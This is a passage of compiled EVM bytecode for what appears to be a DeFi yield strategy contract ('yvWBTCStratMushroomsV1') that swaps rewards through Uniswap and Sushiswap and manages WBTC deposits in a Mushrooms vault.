0x608060405234801561001057600080fd5b50600436106102745760003560e01c8063650d188011610151578063b0ad9d00116100c3578063ec38a86211610087578063ec38a8621461046c578063ed882c2b1461047f578063efbb5cb014610492578063f017c92f1461049a578063fbfa77cf146104ad578063fcf2d0ad146104b557610274565b8063b0ad9d001461042e578063c7b9d53014610436578063ce5494bb14610449578063e8040ba11461045c578063e90eaa511461046457610274565b80638cdfe166116101155780638cdfe166146103f35780638e6350e2146103fb57806391397ab41461040357806395e80c50146104165780639ec5a8941461041e578063aced16611461042657610274565b8063650d18801461039f578063711e9052146103b2578063748747e6146103ba578063750521f5146103cd578063780022a0146103e057610274565b806325829410116101ea5780633cdc5389116101ae5780633cdc53891461036f5780633e413bee146103775780633fc8cef31461037f578063440368a3146103875780634641257d1461038f5780635641ec031461039757610274565b8063258294101461033157806328b7ccf7146103395780632e1a7d4d14610341578063326ab2831461035457806339a172a81461035c57610274565b80631221d6601161023c5780631221d660146102da5780631d12f28b146102ef5780631f1fcd51146103045780631fe4a6861461030c57806322f3e2d414610314578063257ae0de1461032957610274565b806301681a621461027957806303ee438c1461028e57806306fdde03146102ac5780630f0dc9ea146102b45780630f969b87146102c7575b600080fd5b61028c6102873660046137f9565b6104bd565b005b61029661065c565b6040516102a39190613b04565b60405180910390f35b6102966106ea565b61028c6102c23660046139d1565b61071a565b61028c6102d53660046139d1565b61076c565b6102e26107f9565b6040516102a39190613a83565b6102f7610811565b6040516102a39190613ead565b6102e2610817565b6102e2610826565b61031c610835565b6040516102a39190613aca565b6102e26108d7565b6102966108ef565b6102f761090e565b6102f761034f3660046139d1565b610914565b6102e261096f565b61028c61036a3660046139d1565b610987565b6102e2610a09565b6102e2610a21565b6102e2610a39565b61028c610a51565b61028c610c7a565b61031c610fe4565b61031c6103ad3660046139d1565b610fed565b6102f7610ff5565b61028c6103c83660046137f9565b610ffb565b61028c6103db3660046138e6565b6110a6565b6102f76103ee3660046139d1565b61113d565b6102f761129b565b6102f76112a1565b61028c6104113660046139d1565b6112a6565b6102f7611328565b6102e261132e565b6102e261133d565b6102e261134c565b61028c6104443660046137f9565b61135e565b61028c6104573660046137f9565b611409565b6102f761157a565b6102e261157f565b61028c61047a3660046137f9565b611597565b61031c61048d3660046139d1565b61172e565b6102f7611747565b61028c6104a83660046139d1565b611903565b6102e2611985565b61028c611994565b6104c5611b90565b6001600160a01b0316336001600160a01b0316146104fe5760405162461bcd60e51b81526004016104f590613d8d565b60405180910390fd5b6005546001600160a01b038281169116141561052c5760405162461bcd60e51b81526004016104f590613b93565b6001546001600160a01b038281169116141561055a5760405162461bcd60e51b81526004016104f590613cfe565b6060610564611c0d565b905060005b81518110156105bf5781818151811061057e57fe5b60200260200101516001600160a01b0316836001600160a01b031614156105b75760405162461bcd60e51b81526004016104f590613dfc565b600101610569565b506106586105cb611b90565b6040516370a0823160e01b81526001600160a01b038516906370a08231906105f7903090600401613a83565b60206040518083038186803b15801561060f57600080fd5b505afa158015610623573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064791906139e9565b6001600160a01b0385169190611c6b565b5050565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106e25780601f106106b7576101008083540402835291602001916106e2565b820191906000526020600020905b8154815290600101906020018083116106c557829003601f168201915b505050505081565b60408051808201909152601681527579765742544353747261744d757368726f6f6d73563160501b602082015290565b6002546001600160a01b031633148061074b5750610736611b90565b6001600160a01b0316336001600160a01b0316145b6107675760405162461bcd60e51b81526004016104f590613d8d565b600b55565b6002546001600160a01b031633148061079d5750610788611b90565b6001600160a01b0316336001600160a01b0316145b6107b95760405162461bcd60e51b81526004016104f590613d8d565b60098190556040517fa68ba126373d04c004c5748c300c9fca12bd444b3d4332e261f3bd2bac4a8600906107ee908390613ead565b60405180910390a150565b73d9e1ce17f2641f24ae83637ab66a2cca9c378b9f81565b60095481565b6005546001600160a01b031681565b6002546001600160a01b031681565b6001546040516339ebf82360e01b815260009182916001600160a01b03909116906339ebf8239061086a903090600401613a83565b6101206040518083038186803b15801561088357600080fd5b505afa158015610897573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bb9190613953565b6040015111806108d2575060006108d0611747565b115b905090565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b604080518082019091526005815264181719971960d91b602082015290565b60075481565b6001546000906001600160a01b031633146109415760405162461bcd60e51b81526004016104f590613cde565b600061094c83611c8a565b600554909350909150610969906001600160a01b03163383611c6b565b50919050565b73f8873a6080e8dbf41ada900498de0951074af57781565b6002546001600160a01b03163314806109b857506109a3611b90565b6001600160a01b0316336001600160a01b0316145b6109d45760405162461bcd60e51b81526004016104f590613d8d565b60068190556040517fbb2c369a0355a34b02ab5fce0643150c87e1c8dfe7c918d465591879f57948b1906107ee908390613ead565b732260fac5e5542a773aa44fbcfedf7c193bc2c59981565b73a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6004546001600160a01b0316331480610a7457506002546001600160a01b031633145b80610a975750610a82611b90565b6001600160a01b0316336001600160a01b0316145b80610b385750600160009054906101000a90046001600160a01b03166001600160a01b031663452a93206040518163ffffffff1660e01b815260040160206040518083038186803b158015610aeb57600080fd5b505afa158015610aff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b239190613815565b6001600160a01b0316336001600160a01b0316145b80610bd95750600160009054906101000a90046001600160a01b03166001600160a01b03166388a8d6026040518163ffffffff1660e01b815260040160206040518083038186803b158015610b8c57600080fd5b505afa158015610ba0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc49190613815565b6001600160a01b0316336001600160a01b0316145b610bf55760405162461bcd60e51b81526004016104f590613d8d565b6001546040805163bf3759b560e01b81529051610c78926001600160a01b03169163bf3759b5916004808301926020929190829003018186803b158015610c3b57600080fd5b505afa158015610c4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7391906139e9565b612463565b565b6004546001600160a01b0316331480610c9d57506002546001600160a01b031633145b80610cc05750610cab611b90565b6001600160a01b0316336001600160a01b0316145b80610d615750600160009054906101000a90046001600160a01b03166001600160a01b031663452a93206040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1457600080fd5b505afa158015610d28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4c9190613815565b6001600160a01b0316336001600160a01b0316145b80610e025750600160009054906101000a90046001600160a01b03166001600160a01b03166388a8d6026040518163ffffffff1660e01b815260040160206040518083038186803b158015610db557600080fd5b505afa158015610dc9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ded9190613815565b6001600160a01b0316336001600160a01b0316145b610e1e5760405162461bcd60e51b81526004016104f590613d8d565b6000806000600160009054906101000a90046001600160a01b03166001600160a01b031663bf3759b56040518163ffffffff1660e01b815260040160206040518083038186803b158015610e7157600080fd5b505afa158015610e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea991906139e9565b600a5490915060009060ff1615610eff576000610ec4611747565b9050610edd838211610ed65783610ed8565b815b611c8a565b9450915082821115610ef957610ef38284612727565b94508291505b50610f10565b610f088261274f565b919550935090505b6001546040516328766ebf60e21b81526001600160a01b039091169063a1d9bafc90610f4490879087908690600401613f30565b602060405180830381600087803b158015610f5e57600080fd5b505af1158015610f72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9691906139e9565b9150610fa182612463565b7f4c0f499ffe6befa0ca7c826b0916cf87bea98de658013e76938489368d60d50984848385604051610fd69493929190613f46565b60405180910390a150505050565b600a5460ff1681565b60005b919050565b600b5481565b6002546001600160a01b031633148061102c5750611017611b90565b6001600160a01b0316336001600160a01b0316145b6110485760405162461bcd60e51b81526004016104f590613d8d565b6001600160a01b03811661105b57600080fd5b600480546001600160a01b0319166001600160a01b0383161790556040517f2f202ddb4a2e345f6323ed90f8fc8559d770a7abbbeee84dde8aca3351fe7154906107ee908390613a83565b6002546001600160a01b03163314806110d757506110c2611b90565b6001600160a01b0316336001600160a01b0316145b6110f35760405162461bcd60e51b81526004016104f590613d8d565b6110ff6000838361371a565b507f300e67d5a415b6d015a471d9c7b95dd58f3e8290af965e84e0f845de2996dda68282604051611131929190613ad5565b60405180910390a15050565b60008161114c57506000610ff0565b604080516002808252606080830184529260208301908036833701905050905073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160008151811061118e57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050732260fac5e5542a773aa44fbcfedf7c193bc2c599816001815181106111d057fe5b6001600160a01b039092166020928302919091019091015260405163d06ca61f60e01b8152606090737a250d5630b4cf539739df2c5dacb4c659f2488d9063d06ca61f906112249087908690600401613ecd565b60006040518083038186803b15801561123c57600080fd5b505afa158015611250573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526112789190810190613831565b90508060018251038151811061128a57fe5b602002602001015192505050919050565b60085481565b600090565b6002546001600160a01b03163314806112d757506112c2611b90565b6001600160a01b0316336001600160a01b0316145b6112f35760405162461bcd60e51b81526004016104f590613d8d565b60088190556040517fd94596337df4c2f0f44d30a7fc5db1c7bb60d9aca4185ed77c6fd96eb45ec298906107ee908390613ead565b60065481565b6003546001600160a01b031681565b6004546001600160a01b031681565b600080516020613fea83398151915281565b6002546001600160a01b031633148061138f575061137a611b90565b6001600160a01b0316336001600160a01b0316145b6113ab5760405162461bcd60e51b81526004016104f590613d8d565b6001600160a01b0381166113be57600080fd5b600280546001600160a01b0319166001600160a01b0383161790556040517f352ececae6d7d1e6d26bcf2c549dfd55be1637e9b22dc0cf3b71ddb36097a6b4906107ee908390613a83565b6001546001600160a01b031633148061143a5750611425611b90565b6001600160a01b0316336001600160a01b0316145b61144357600080fd5b6001546040805163fbfa77cf60e01b815290516001600160a01b039283169284169163fbfa77cf916004808301926020929190829003018186803b15801561148a57600080fd5b505afa15801561149e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c29190613815565b6001600160a01b0316146114d557600080fd5b6114de81612894565b6005546040516370a0823160e01b81526115779183916001600160a01b03909116906370a0823190611514903090600401613a83565b60206040518083038186803b15801561152c57600080fd5b505afa158015611540573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061156491906139e9565b6005546001600160a01b03169190611c6b565b50565b600b81565b73a283aa7cfbb27ef0cfbcb2493dd9f4330e0fd30481565b6002546001600160a01b031633146115c15760405162461bcd60e51b81526004016104f590613b37565b6001600160a01b0381166115d457600080fd5b60015460035460405163095ea7b360e01b81526001600160a01b039283169263095ea7b39261160b92911690600090600401613ab1565b602060405180830381600087803b15801561162557600080fd5b505af1158015611639573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061165d91906138c6565b50600380546001600160a01b0319166001600160a01b03838116919091179182905560015460405163095ea7b360e01b81529082169263095ea7b3926116ac9291169060001990600401613ab1565b602060405180830381600087803b1580156116c657600080fd5b505af11580156116da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116fe91906138c6565b507fafbb66abf8f3b719799940473a4052a3717cdd8e40fb6c8a3faadab316b1a069816040516107ee9190613a83565b600061174161173c8361113d565b612ae6565b92915050565b6040516393f1a40b60e01b8152600090819073f8873a6080e8dbf41ada900498de0951074af577906393f1a40b9061178690600b903090600401613eb6565b604080518083038186803b15801561179d57600080fd5b505afa1580156117b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d59190613a01565b506040516370a0823160e01b8152909150600090600080516020613fea833981519152906370a082319061180d903090600401613a83565b60206040518083038186803b15801561182557600080fd5b505afa158015611839573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061185d91906139e9565b6005546040516370a0823160e01b81529192506118fc916001600160a01b03909116906370a0823190611894903090600401613a83565b60206040518083038186803b1580156118ac57600080fd5b505afa1580156118c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118e491906139e9565b6118f66118f18585612d5e565b612d83565b90612d5e565b9250505090565b6002546001600160a01b0316331480611934575061191f611b90565b6001600160a01b0316336001600160a01b0316145b6119505760405162461bcd60e51b81526004016104f590613d8d565b60078190556040517f5430e11864ad7aa9775b07d12657fe52df9aa2ba734355bd8ef8747be2c800c5906107ee908390613ead565b6001546001600160a01b031681565b6002546001600160a01b03163314806119c557506119b0611b90565b6001600160a01b0316336001600160a01b0316145b6119e15760405162461bcd60e51b81526004016104f590613d8d565b600a805460ff19166001908117909155546040805163507257cd60e11b815290516001600160a01b039092169163a0e4af9a9160048082019260009290919082900301818387803b158015611a3557600080fd5b505af1158015611a49573d6000803e3d6000fd5b50506040517f97e963041e952738788b9d4871d854d282065b8f90a464928d6528f2e9a4fd0b925060009150a1565b801580611b005750604051636eb1769f60e11b81526001600160a01b0384169063dd62ed3e90611aae9030908690600401613a97565b60206040518083038186803b158015611ac657600080fd5b505afa158015611ada573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611afe91906139e9565b155b611b1c5760405162461bcd60e51b81526004016104f590613e20565b611b728363095ea7b360e01b8484604051602401611b3b929190613ab1565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612eaf565b505050565b6060611b868484600085612f3e565b90505b9392505050565b60015460408051635aa6e67560e01b815290516000926001600160a01b031691635aa6e675916004808301926020929190829003018186803b158015611bd557600080fd5b505afa158015611be9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d29190613815565b60408051600180825281830190925260609182919060208083019080368337019050509050600080516020613fea83398151915281600081518110611c4e57fe5b6001600160a01b0390921660209283029190910190910152905090565b611b728363a9059cbb60e01b8484604051602401611b3b929190613ab1565b6000806000611c97611747565b841015611ca5576000611ca8565b60015b90508015612036576040516393f1a40b60e01b815260009073f8873a6080e8dbf41ada900498de0951074af577906393f1a40b90611ced90600b903090600401613eb6565b604080518083038186803b158015611d0457600080fd5b505afa158015611d18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d3c9190613a01565b50604051630441a3e760e41b815290915073f8873a6080e8dbf41ada900498de0951074af5779063441a3e7090611d7a90600b908590600401613ee6565b600060405180830381600087803b158015611d9457600080fd5b505af1158015611da8573d6000803e3d6000fd5b50506040516370a0823160e01b8152600080516020613fea8339815191529250632e1a7d4d915082906370a0823190611de5903090600401613a83565b60206040518083038186803b158015611dfd57600080fd5b505afa158015611e11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3591906139e9565b6040518263ffffffff1660e01b8152600401611e519190613ead565b600060405180830381600087803b158015611e6b57600080fd5b505af1158015611e7f573d6000803e3d6000fd5b50506005546040516370a0823160e01b81526001600160a01b0390911692506370a082319150611eb3903090600401613a83565b60206040518083038186803b158015611ecb57600080fd5b505afa158015611edf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f0391906139e9565b6001546040516339ebf82360e01b815291955085916001600160a01b03909116906339ebf82390611f38903090600401613a83565b6101206040518083038186803b158015611f5157600080fd5b505afa158015611f65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f899190613953565b60c001518510611f9a57600061202b565b6001546040516339ebf82360e01b815261202b9187916001600160a01b03909116906339ebf82390611fd0903090600401613a83565b6101206040518083038186803b158015611fe957600080fd5b505afa158015611ffd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120219190613953565b60c0015190612727565b93509350505061245e565b6005546040516370a0823160e01b81526000916001600160a01b0316906370a0823190612067903090600401613a83565b60206040518083038186803b15801561207f57600080fd5b505afa158015612093573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120b791906139e9565b9050848110156124585760006120cd8683612727565b9050600061216b600080516020613fea8339815191526001600160a01b031663ec1ebd7a6040518163ffffffff1660e01b815260040160206040518083038186803b15801561211b57600080fd5b505afa15801561212f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061215391906139e9565b61216584670de0b6b3a7640000612fff565b90613039565b6040516370a0823160e01b8152909150600090600080516020613fea833981519152906370a08231906121a2903090600401613a83565b60206040518083038186803b1580156121ba57600080fd5b505afa1580156121ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121f291906139e9565b9050818110156123295760006122088383612727565b6040516393f1a40b60e01b815290915060009073f8873a6080e8dbf41ada900498de0951074af577906393f1a40b9061224890600b903090600401613eb6565b604080518083038186803b15801561225f57600080fd5b505afa158015612273573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122979190613a01565b509050818110156122ba5760405162461bcd60e51b81526004016104f590613d1f565b604051630441a3e760e41b815273f8873a6080e8dbf41ada900498de0951074af5779063441a3e70906122f490600b908690600401613ee6565b600060405180830381600087803b15801561230e57600080fd5b505af1158015612322573d6000803e3d6000fd5b5050505050505b604051632e1a7d4d60e01b8152600080516020613fea83398151915290632e1a7d4d9061235a908590600401613ead565b600060405180830381600087803b15801561237457600080fd5b505af1158015612388573d6000803e3d6000fd5b50506005546040516370a0823160e01b8152600093506001600160a01b0390911691506370a08231906123bf903090600401613a83565b60206040518083038186803b1580156123d757600080fd5b505afa1580156123eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061240f91906139e9565b90508481116124305760405162461bcd60e51b81526004016104f590613b5c565b80818a1161243f576000612449565b6124498a83612727565b9750975050505050505061245e565b84935050505b915091565b600a5460ff161561247357611577565b6040516370a0823160e01b8152600090600080516020613fea833981519152906370a08231906124a7903090600401613a83565b60206040518083038186803b1580156124bf57600080fd5b505afa1580156124d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124f791906139e9565b6005546040516370a0823160e01b815291925082916000916001600160a01b0316906370a082319061252d903090600401613a83565b60206040518083038186803b15801561254557600080fd5b505afa158015612559573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061257d91906139e9565b90508381111561269e576125918185612727565b60405163b6b55f2560e01b8152909150600080516020613fea8339815191529063b6b55f25906125c5908490600401613ead565b600060405180830381600087803b1580156125df57600080fd5b505af11580156125f3573d6000803e3d6000fd5b50506040516370a0823160e01b8152600080516020613fea83398151915292506370a082319150612628903090600401613a83565b60206040518083038186803b15801561264057600080fd5b505afa158015612654573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061267891906139e9565b91508282116126995760405162461bcd60e51b81526004016104f590613e76565b6126ae565b808411156126ae57505050611577565b811561272157604051631c57762b60e31b815273f8873a6080e8dbf41ada900498de0951074af5779063e2bbb158906126ee90600b908690600401613ee6565b600060405180830381600087803b15801561270857600080fd5b505af115801561271c573d6000803e3d6000fd5b505050505b50505050565b6000828211156127495760405162461bcd60e51b81526004016104f590613be9565b50900390565b60008080831561277f5760008061276586611c8a565b915091508582116127765781612778565b855b9093509150505b604051637a9f959f60e01b815260009073f8873a6080e8dbf41ada900498de0951074af57790637a9f959f906127bc90600b903090600401613eb6565b60206040518083038186803b1580156127d457600080fd5b505afa1580156127e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061280c91906139e9565b9050801561288257604051630441a3e760e41b815273f8873a6080e8dbf41ada900498de0951074af5779063441a3e709061284f90600b90600090600401613ee6565b600060405180830381600087803b15801561286957600080fd5b505af115801561287d573d6000803e3d6000fd5b505050505b61288a61306b565b9350509193909250565b6040516393f1a40b60e01b815260009073f8873a6080e8dbf41ada900498de0951074af577906393f1a40b906128d190600b903090600401613eb6565b604080518083038186803b1580156128e857600080fd5b505afa1580156128fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129209190613a01565b50604051630441a3e760e41b815290915073f8873a6080e8dbf41ada900498de0951074af5779063441a3e709061295e90600b908590600401613ee6565b600060405180830381600087803b15801561297857600080fd5b505af115801561298c573d6000803e3d6000fd5b50506040516370a0823160e01b815260009250600080516020613fea83398151915291506370a08231906129c4903090600401613a83565b60206040518083038186803b1580156129dc57600080fd5b505afa1580156129f0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a1491906139e9565b90508015612a3557612a35600080516020613fea8339815191528483611c6b565b6040516370a0823160e01b815260009073a283aa7cfbb27ef0cfbcb2493dd9f4330e0fd304906370a0823190612a6f903090600401613a83565b60206040518083038186803b158015612a8757600080fd5b505afa158015612a9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612abf91906139e9565b905080156127215761272173a283aa7cfbb27ef0cfbcb2493dd9f4330e0fd3048583611c6b565b6000612af0613798565b6001546040516339ebf82360e01b81526001600160a01b03909116906339ebf82390612b20903090600401613a83565b6101206040518083038186803b158015612b3957600080fd5b505afa158015612b4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b719190613953565b9050806020015160001415612b8a576000915050610ff0565b60065460a0820151612b9d904290612727565b1015612bad576000915050610ff0565b60075460a0820151612bc0904290612727565b10612bcf576001915050610ff0565b6001546040805163bf3759b560e01b815290516000926001600160a01b03169163bf3759b5916004808301926020929190829003018186803b158015612c1457600080fd5b505afa158015612c28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c4c91906139e9565b9050600954811115612c6357600192505050610ff0565b6000612c6d611747565b90508260c00151612c8960095483612d5e90919063ffffffff16565b1015612c9b5760019350505050610ff0565b60008360c00151821115612cbc5760c0840151612cb9908390612727565b90505b6001546040805163112c1f9b60e01b815290516000926001600160a01b03169163112c1f9b916004808301926020929190829003018186803b158015612d0157600080fd5b505afa158015612d15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d3991906139e9565b9050612d458183612d5e565b600854612d529089612fff565b10979650505050505050565b600082820183811015611b895760405162461bcd60e51b81526004016104f590613bb2565b600080600080516020613fea8339815191526001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015612dcd57600080fd5b505afa158015612de1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e0591906139e9565b905080612e16576000915050610ff0565b6000600080516020613fea8339815191526001600160a01b031663b69ef8a86040518163ffffffff1660e01b815260040160206040518083038186803b158015612e5f57600080fd5b505afa158015612e73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e9791906139e9565b9050612ea7826121658387612fff565b949350505050565b6060612f04826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316611b779092919063ffffffff16565b805190915015611b725780806020019051810190612f2291906138c6565b611b725760405162461bcd60e51b81526004016104f590613db2565b606082471015612f605760405162461bcd60e51b81526004016104f590613c20565b612f69856136db565b612f855760405162461bcd60e51b81526004016104f590613d56565b60006060866001600160a01b03168587604051612fa29190613a67565b60006040518083038185875af1925050503d8060008114612fdf576040519150601f19603f3d011682016040523d82523d6000602084013e612fe4565b606091505b5091509150612ff48282866136e1565b979650505050505050565b60008261300e57506000611741565b8282028284828161301b57fe5b0414611b895760405162461bcd60e51b81526004016104f590613c9d565b600080821161305a5760405162461bcd60e51b81526004016104f590613c66565b81838161306357fe5b049392505050565b6040516370a0823160e01b8152600090819073a283aa7cfbb27ef0cfbcb2493dd9f4330e0fd304906370a08231906130a7903090600401613a83565b60206040518083038186803b1580156130bf57600080fd5b505afa1580156130d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130f791906139e9565b90506000600b5482106136d5576040805160038082526080820190925260609160208201838036833701905050905073a283aa7cfbb27ef0cfbcb2493dd9f4330e0fd3048160008151811061314857fe5b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061318a57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050732260fac5e5542a773aa44fbcfedf7c193bc2c599816002815181106131cc57fe5b6001600160a01b039092166020928302919091019091015260405163d06ca61f60e01b815260009073d9e1ce17f2641f24ae83637ab66a2cca9c378b9f9063d06ca61f906132209087908690600401613ecd565b60006040518083038186803b15801561323857600080fd5b505afa15801561324c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526132749190810190613831565b60018351038151811061328357fe5b602002602001015190506060600467ffffffffffffffff811180156132a757600080fd5b506040519080825280602002602001820160405280156132d1578160200160208202803683370190505b50905073a283aa7cfbb27ef0cfbcb2493dd9f4330e0fd304816000815181106132f657fe5b60200260200101906001600160a01b031690816001600160a01b03168152505073a0b86991c6218b36c1d19d4a2e9eb0ce3606eb488160018151811061333857fe5b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160028151811061337a57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050732260fac5e5542a773aa44fbcfedf7c193bc2c599816003815181106133bc57fe5b6001600160a01b039092166020928302919091019091015260405163d06ca61f60e01b8152600090737a250d5630b4cf539739df2c5dacb4c659f2488d9063d06ca61f906134109089908690600401613ecd565b60006040518083038186803b15801561342857600080fd5b505afa15801561343c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526134649190810190613831565b60018351038151811061347357fe5b60209081029190910101516005546040516370a0823160e01b81529192506000916001600160a01b03909116906370a08231906134b4903090600401613a83565b60206040518083038186803b1580156134cc57600080fd5b505afa1580156134e0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061350491906139e9565b90508184106135a9576040516338ed173960e01b815273d9e1ce17f2641f24ae83637ab66a2cca9c378b9f906338ed17399061354d908a906000908a9030904290600401613ef4565b600060405180830381600087803b15801561356757600080fd5b505af115801561357b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526135a39190810190613831565b50613641565b6040516338ed173960e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d906338ed1739906135e9908a90600090889030904290600401613ef4565b600060405180830381600087803b15801561360357600080fd5b505af1158015613617573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261363f9190810190613831565b505b6005546040516370a0823160e01b81526136cd9183916001600160a01b03909116906370a0823190613677903090600401613a83565b60206040518083038186803b15801561368f57600080fd5b505afa1580156136a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136c791906139e9565b90612727565b955050505050505b91505090565b3b151590565b606083156136f0575081611b89565b8251156137005782518084602001fd5b8160405162461bcd60e51b81526004016104f59190613b04565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061375b5782800160ff19823516178555613788565b82800160010185558215613788579182015b8281111561378857823582559160200191906001019061376d565b506137949291506137e4565b5090565b6040518061012001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b5b8082111561379457600081556001016137e5565b60006020828403121561380a578081fd5b8135611b8981613fd4565b600060208284031215613826578081fd5b8151611b8981613fd4565b60006020808385031215613843578182fd5b825167ffffffffffffffff811115613859578283fd5b8301601f81018513613869578283fd5b805161387c61387782613f88565b613f61565b8181528381019083850185840285018601891015613898578687fd5b8694505b838510156138ba57805183526001949094019391850191850161389c565b50979650505050505050565b6000602082840312156138d7578081fd5b81518015158114611b89578182fd5b600080602083850312156138f8578081fd5b823567ffffffffffffffff8082111561390f578283fd5b818501915085601f830112613922578283fd5b813581811115613930578384fd5b866020828501011115613941578384fd5b60209290920196919550909350505050565b6000610120808385031215613966578182fd5b61396f81613f61565b9050825181526020830151602082015260408301516040820152606083015160608201526080830151608082015260a083015160a082015260c083015160c082015260e083015160e08201526101008084015181830152508091505092915050565b6000602082840312156139e2578081fd5b5035919050565b6000602082840312156139fa578081fd5b5051919050565b60008060408385031215613a13578182fd5b505080516020909101519092909150565b6000815180845260208085019450808401835b83811015613a5c5781516001600160a01b031687529582019590820190600101613a37565b509495945050505050565b60008251613a79818460208701613fa8565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b60006020825282602083015282846040840137818301604090810191909152601f909201601f19160101919050565b6000602082528251806020840152613b23816040850160208701613fa8565b601f01601f19169190910160400192915050565b6020808252600b908201526a085cdd1c985d1959da5cdd60aa1b604082015260600190565b6020808252601f908201527f216d69736d617463684d757368726f6f6d735661756c74576974686472617700604082015260600190565b602080825260059082015264085dd85b9d60da1b604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252601e908201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604082015260600190565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6040820152651c8818d85b1b60d21b606082015260800190565b6020808252601a908201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b602080825260069082015265085d985d5b1d60d21b604082015260600190565b6020808252600790820152662173686172657360c81b604082015260600190565b6020808252601f908201527f21696e73756666696369656e744d546f6b656e496e4d61737465724368656600604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252600b908201526a08585d5d1a1bdc9a5e995960aa1b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b6020808252600a9082015269085c1c9bdd1958dd195960b21b604082015260600190565b60208082526036908201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60408201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b606082015260800190565b6020808252601d908201527f216d69736d617463684465706f736974496e746f4d757368726f6f6d73000000604082015260600190565b90815260200190565b9182526001600160a01b0316602082015260400190565b600083825260406020830152611b866040830184613a24565b918252602082015260400190565b600086825285602083015260a06040830152613f1360a0830186613a24565b6001600160a01b0394909416606083015250608001529392505050565b9283526020830191909152604082015260600190565b93845260208401929092526040830152606082015260800190565b60405181810167ffffffffffffffff81118282101715613f8057600080fd5b604052919050565b600067ffffffffffffffff821115613f9